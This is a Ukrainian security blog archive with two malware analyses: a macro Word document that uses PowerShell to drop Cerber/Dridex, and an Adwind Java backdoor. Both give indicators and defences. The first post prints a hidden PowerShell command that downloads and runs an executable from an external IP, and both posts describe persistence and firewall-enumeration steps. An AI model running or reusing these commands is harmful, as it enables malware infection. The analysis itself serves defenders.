Archive | June 2016

PowerShell, або “не довго музика та грала..”

PowerShell

Bruce Wayne: Today you get to say “I told you so.”
Alfred: Today, I don’t want to.
(pauses for several moments)
Alfred: But I did bloody tell you.

У минулому дописі я зробив висновок про те, що нові семпли будуть частіше використовувати вбудовані можливості систем (наприклад, PowerShell). Наступного ж дня після публікації мені надіслали зразок ШПЗ який підтвердив мої слова. Давайте поглянемо на нього разом.

I. Вступ (або як усе могло би закінчитися за ~10 хвилин)

Що повинна робити освічена людина у наш непростий час коли вона отримує підозріле приєднання на кшталт Scan_6_10_2016.doc ? Правильна відповідь – в жодному разі не поспішати відкривати його одразу. Тут варто одразу сказати, що користувачеві у скриньку не повинні потрапляти такі файли, позаяк це говорить про те, що в організації немає “пісочниці” (sandbox), а фільтрація поштових приєднань не налагоджена належним чином. Що ж, ми із вами живемо не в ідеальному світі. Відкривши файл жертва побачить наступне:

macro

Замість очікуваного скану документу ми бачимо прохання активувати макрос.. І тут варто би зупинитися і передати файл на аналіз ІТшникам/ІБшникам.. А що у свою чергу має зробити відповідальний співробітник ІТ/ІБ департаменту? Навіть не відкриваючи файл, не витрачаючи часу на запуск тестової віртуальної машини?

Напевне взяти до рук такий шикарний та перевірений інструмент як oletools (вимагають наявності у системі Python 2.x) і за 15-30 секунд отримати відповідь на головне запитання:

scan_test scan_test3 scan_test2

Так, документ містить макрос який викликає PowerShell і передає йому якусь незрозумілу послідовність інструкцій, яка у свою чергу закінчується такою командою:

final = “POWERSHELL.EXE -ExecutionPolicy bypass -noprofile -windowstyle hidden -Enc ” & first

Загалом, наявність макросу та ще й із передачею команд із параметром “Execution Policy bypass” повинна бути яскравим доказом небезпеки, але … може це все ж таки щось “потрібне по роботі”? (сарказм)

Навіть якщо технічний спеціаліст не володіє базовими навичками роботи із Powershell, усього за кілька хвилин він може знайти опис параметра -Enc :

-Enc, -EncodedCommand <Base64EncodedCommand>

Угу, значить наша загадкова послідовність це команди, що були зашифровані у Base64. Витративши іще пару хвилин, скористаймося першим ліпшим онлайн-декодером. І тоді незрозумілі рядки:

first = “UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1…

Перетворяться на цілком чіткі команди:

PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile(‘http://93.174.94.135/~harvy/verfgt.exe&#8217;, $env:APPDATA\verfgt.exe );Start-Process ( $env:APPDATA\verfgt.exe )

macro_listing2

І на цьому моменті можна було би поставити крапку. Я не жартую. Просто взяти до у ваги адресу поштового серверу, з якого прийшов цей лист; самотужки завантажити шкідливий verfgt.exe; надіслати його аналітикам антивірусу (щоб включили в наступні сигнатури); ще раз перевірити правила, що мають блокувати створення та запуск .exe із каталогів %AppData%; і головне – не забути подякувати користувачеві за його обачність.

Ось і все. Справу закрито – можна розійтися, випити чаю/кави чи чогось міцнішого та обговорити більш важливіші події на теренах кіберпростору..

Але про що я кажу, адже якщо ви досі читаєте ці рядки, то ви тут заради аналізу. Тому перейдемо до наступних кроків. Мені просто закортіло навести приклад того, як би мали реагувати користувачі та відділ СБ/ІБ на подібні листи після стількох випадків атак через фішинг.

II. Основна частина (або як буває у 90% випадків)

Очевидно, що ми маємо справу із бінарною кібер-атакою. Адже документ-приманка є нічим іншим, як представником сімейства W97M/Downloader. Задача приманки – ініціювати процес завантаження та запуск основного модуля (другої частини атаки). В даному випадку приманка залучає PowerShell для прихованого завантаження файлу. Основний же модуль є новою версією ransomware – знайомтесь, Cerber. Цей вид ПШЗ застосовується для шифрування документів з метою отримання викупу за відновлення доступу до інформації. Сам Cerber завантажується і запускається із %AppData% (неважко помітити в деобфускованій частині команд – $env:APPDATA).

те недолуге відчуття, коли тебе нарешті почули, але зовсім не ті до кого ти звертався

Так, вони (автори семплів) змінили тактику і використовують для старту інший каталог із системного оточення. Вочевидь, поради блокувати створення нових .exe файлів у %temp% та їх запуск почали заважати бізнесу тих, хто займається атаками чи написанням семплів. Хоча, про %AppData% я написав вперше коли розбирав CTB Locker – уже більше року тому. Просто майте на увазі, коли формуватимете політики безпеки.

Якщо приманка успішно виконала свою задачу, то на скомпрометованій системі починається така активність:

activate

Файл, який був завантажений PowerShell запускається із %AppData% (для Win8 яка виступала у ролі полігону ця змінна лінкує каталог **\Users\*\AppData\Roaming). Після запуску Dridex копіює своє тіло у окремий каталог в середині AppData\Roaming\ із рандомно згенерованим ім’ям (кожна активація призводить до зміни імені). У мене перший запуск дав таку картинку:

verfgt.exe -> charmap.exe, а другий прохід:

verfgt.exe -> srdelayed.exe.

Після копіювання перший процес додає нащадка в автозавантаження (HKU\CurrentVersion\Run, RunOnce та ControlPanel\Desktop\SCRNSAVE.EXE), здійснює пошук присутніх додатків, завершує та видаляє сам себе (семпл який ми розглядали раніше не мав засобів закріплення і не вмів зачищати свої сліди!):

proc_activiry reg_activity

Батьківський процес завершує і видаляє сам себе такою командою:

/d /c taskkill /t /f /im “verfgt.exe” > NUL & ping -n 1 127.0.0.1 > NUL & del “C:\Users\GK17\AppData\Roaming\verfgt.exe” > NUL

Але перед цим проводить такий пошук:

Searched C:\Documents and Setting s\Administrator\StartMenu\Prog rams\StartUp\*.lnk
Searched C:\Documents and Setting s\Default User\StartMenu\Prog rams\StartUp\*.lnk
Searched C:\WINDOWS\system32\g *s.exe
Searched C:\WINDOWS\system32\o*b.exe
Searched C:\WINDOWS\system32\o*h.exe
Searched C:\WINDOWS\system32\t*s.exe
Searched C:\WINDOWS\system32\y*o.exe

Новостворений нащадок, що розташувався за шляхом *\AppData\Roaming\{xxxxxx}\xxxx.exe встановлює з’єднання із C&C сервером, передає йому IP скомпрометованої системи та готується отримати команди:

tcp

(!) Зверніть увагу:

А ще, цей семпл здійснював розсилку UDP пакетів по діапазону IP адрес, що були закріплені за німецьким провайдером. Зміст пакету = hi03a442e

netwrk

upd

Варто зазначити, що обидві мої тестових полігони семплу здалися підозрілими і він, не отримавши команди зовні через кілька хвилин видалив сам себе. Але це його не врятувало, бо я встиг законспектувати його дії.

III. Висновки (поради та маркери компрометації)

Як і у випадку з Java навряд чи заборона PowerShell буде прийнятною мірою для всіх. Організаціям варто посилити фільтрацію поштових приєднань – блокувати або вирізати активний вміст документів до того, як вони потраплять на очі користувачеві. На рівні кінцевих точок необхідно контролювати, хоча би відстежувати, а краще взагалі блокувати спроби створити та запустити новий .exe файл за шляхами %tmp%\ та %AppData%\. Рекомендації щодо проведення співбесід-тренінгів для користувачів та впровадження періодичних тестів на проникнення залишаються в силі. Також не завадить розглянути можливість застосування “пісочниці” (для забезпечення статичного та динамічного аналізу коду), а на кінцевих точках розгорнути рішення, що дозволить працювати із білими списками (обмежити виконання неавторизлваних скриптів/запускних файлів.

P.S.

Головні висновки, які я зробив для себе під час вівісекції цього семплу:

  1. Вони будуть застосовувати механізми ОС та бізнес-додатки для обходу захисту;
  2. Вони поступово припинять писати payload в %temp%;
  3. Вони стають дедалі обережнішими (перевірка параметрів та самознищення у комплекті) – це значить, якщо адмін або ІБшнік прогавили момент активації, то через 5хв на системі жертви уже може бути пусто (або не підійшла, або уже зібрали необхідні дані);
  4. Сигнатури знов не спрацювали у перші 12 годин активності семплу;
  5. У цьому варіанті Dridex присутній претекст, чого раніше не було. Прохання активувати макроси може бути локалізованим та стилізованим під бланки установ фінансової галузі, що збільшить кількість інфікованих.

Маркери компрометації наведено нижче:

Scan_6_10_2016.doc SHA1=5067a8791ed42cb4e2c8a2637c8d400e54c2b9d1

verfgt.exe SHA1=8bd41d2a41f8a375d3de9fdd84f40f3bb17c5298

сервер з якого завантажується payload по 80 TCP = 93.174.94.135

C&C з яким спілкування іде по 80 TCP = 52.29.28.22

розсилка пакетів “hi03a442e” по 6892 UDP = 85.93.0.x

Будьте уважними та обережними при роботі з ІТ.

“Но раны остаются ранами. Они заживают, рубцуются, и вроде бы ты о них уже забыл вовсе, а потом переменится погода, они и заноют.”

MV5BMTU2OTcwMjA0NV5BMl5BanBnXkFtZTcwODI3MjA5Mg@@._V1_SX640_SY720_

VR

Advertisements

підступний .jar, або не довіряй нікому

Java

Сьогодні ми з вами розглянемо зразок нової модифікації Adwind (Java Backdoor). Я вирішив присвятити цьому семплу окремий допис, оскільки його modus operandi (спосіб дії) якісно відрізняється від того, що траплялося мені останнім часом. Варто зазначити, що Adwind не використовує вразливості систем, не вимагає привілеїв адміністратора і … не створює .exe в %temp%. Усе, що йому потрібно для роботи – наявність Java машини. Цей тип шкідливого пз може застосовуватися для віддаленого керування системою та/або крадіжки облікових даних.

jar

Усе починається (як у більшості випадків) – із неуважного користувача, котрий навмання відкриває приєднання, що прийшло разом із фішинговим листом.

From: Bank server<statementsdesk@bankserver.com>
Received: from mail.bsmart.my (mail.bsmart.my [202.9.98.160])        Malaysia
Received: (db.72.b9d8.ip4.static.sl-reverse.com [216.185.114.219])   Singapore

SCAN060620160516.PDF.jar
SHA1=64cc157911203997908a8bd99218625643b8d459

Після запуску з точки зору жертви начеб-то нічого не відбувається, проте якщо скористатися інструментами Марка Руссиновича, то можна побачити наступне:

jar_activate_stages

Отже запущений jar виконує такі дії:

  • скриптом* отримує інформацію про наявний брандмауер
  • копіює каталог Java машини в \%AppData%\Oracle
  • додає себе в автозапуск через HKCU
  • копіює себе у %userprofile%\random\
  • приховує створений каталог
  • ініціює з’єднання із C&C 216.185.114.219:9091

JAR_stages_alternative*лістинг Retrive3268860737041597258.vbs

Set oWMI = GetObject(“winmgmts:{impersonationLevel=impersonate}!\\.\root\SecurityCenter”)
Set colItems = oWMI.ExecQuery(“Select * from FirewallProduct”)
For Each objItem in colItems
With objItem
WScript.Echo  “{“”FIREWALL””:””” & .displayName & “””}”
End With
Next

(!) Зверніть увагу на два ключових моменти:

  1. Сам файл з інструкціями Java генерується з довільним розширенням і передається інтерпретатору через параметр [-jar], що не дозволяє заборонити/обмежити запуск по розширенню файлу;
  2. На запуск реєструється оригінальний javaw.exe, який має дійсний електронний підпис. Це дуже ефективний метод обходу, оскільки зазвичай усі звертають увагу лише на файли, що не мають підпису.

java_autorunОтже за 15-30 секунд активність спадає і ОС приймає такий вигляд: в процесах залишається один javaw.exe який чекає команд із серверу керування. З боку жертви виглядає так, ніби файл не відкрився/не запустився, але насправді система уже скомпрометована.

jar_finale_stage

– – – – – невеличкий ліричний відступ

Через велику чергу семплів, на момент публікації цього допису вищезазначений семпл уже буде детектуватися принаймні половиною АВ із списку VirusTotal. Але механізм роботи цього семплу в першу чергу становить академічний інтерес, оскільки демонструє нам черговий етап розвиту ШПЗ. Я вже більше року наполегливо рекомендую ІТ/ІБ фахівцям блокувати запуск програм та скритів із %temp%. Хтось погоджується одразу, інші починають так робити лише після повторного зараження, а треті узагалі ігнорують. Не треба бути гуру аналітиком, щоби дійти до простого висновку – з часом, масові “гоп-стопи” (crypto-ransomware) та RAT перейдуть на схему інфікування, яка буде спиратися або на механізми, що вбудовані в ОС (PowerShell), або на прикладні додатки, що використовуються у бізнес-процесах (Java). Такі атаки важче відбивати стандартними заборонами, адже нових/чужих додатків в системі не з’являється, натомість ми маємо справу із передачею інструкцій, які можуть міститися у файлі з довільним розширенням та шляхом. Для класичного АВ, що використовує сигнатурний аналіз така активність у перші години після розсилки може залишатися непоміченою. Тому варто розглянути застосування “пісочниць” (sandboxig) та механізмів так званих “білих” списків, котрими можна обмежити каталоги із яких системі буде дозволено зчитувати інструкції на виконання.

– – – – – невеличкий ліричний відступ

Контрзаходи або як захиститися:

  1. Співбесіди із користувачами на тему фішинг/соц. інженерія
  2. Утриматися від застосування/інсталяції Java на тих системах, де це не є критично необхідним
  3. Жорстка фільтрація пошти (.exe, макроси, тепер іще .jar)
  4. Аналіз файлів у “пісочниці”
  5. Обмеження javaw.exe*

VSE_SP_jar_BLK2

В більшості випадків адміністратори не можуть заблокувати/видалити Java, через те, що вона є необхідним компонентом для роботи клієнт-банків або інших бізнесових додатків. І це дуже важливий момент, адже жертви не можуть тупо відмовитися від застосування технології, через яку зловмисники отримують доступ до системи. Якщо для попередніх модифікації було достатньо заборонити запуск .jar файлів з %userprofile%, то цього разу це не спрацює, адже інструкції передаються інтерпретатору із довільного файлу. Отже, якщо ми говоримо про VSE Access Protection Rules – потрібно активувати вбудоване правило, що блокує внесення програм у автозапуск (цей крок не дозволить пережити семплу перезавантаження) і створити нове правило, що буде забороняти процесу javaw.exe читати файли із **\Users\*\*\*.*

Таке правило дозволить зупиняти процес інфікування. Семпл не розпочне комунікацію з CNC і після того, як жертва клікне на “Ок” у діалоговому вікні про помилку – процес javaw буде завершено.

Але потрібно чітко усвідомлювати що це тимчасове рішення, адже правило буде працювати доти, доки файл з інструкціями буде копіюватися за шляхом, що підходить по масці.

Для надійного захисту необхідно або унеможливити доставку такого файлу користувачеві, або забезпечити наявність білих списків/пісочниці.

P.S.

Кому цікаво – галерея знімків екрану з інфікованої системи

Будьте уважними та обережними при роботі з ІТ.

Счастье — это когда ты хочешь то, что можешь, и можешь то, что хочешь.

MV5BMTM4Nzc2Nzg4Nl5BMl5BanBnXkFtZTcwNjc1MDk3Nw@@._V1_SX640_SY720_

VR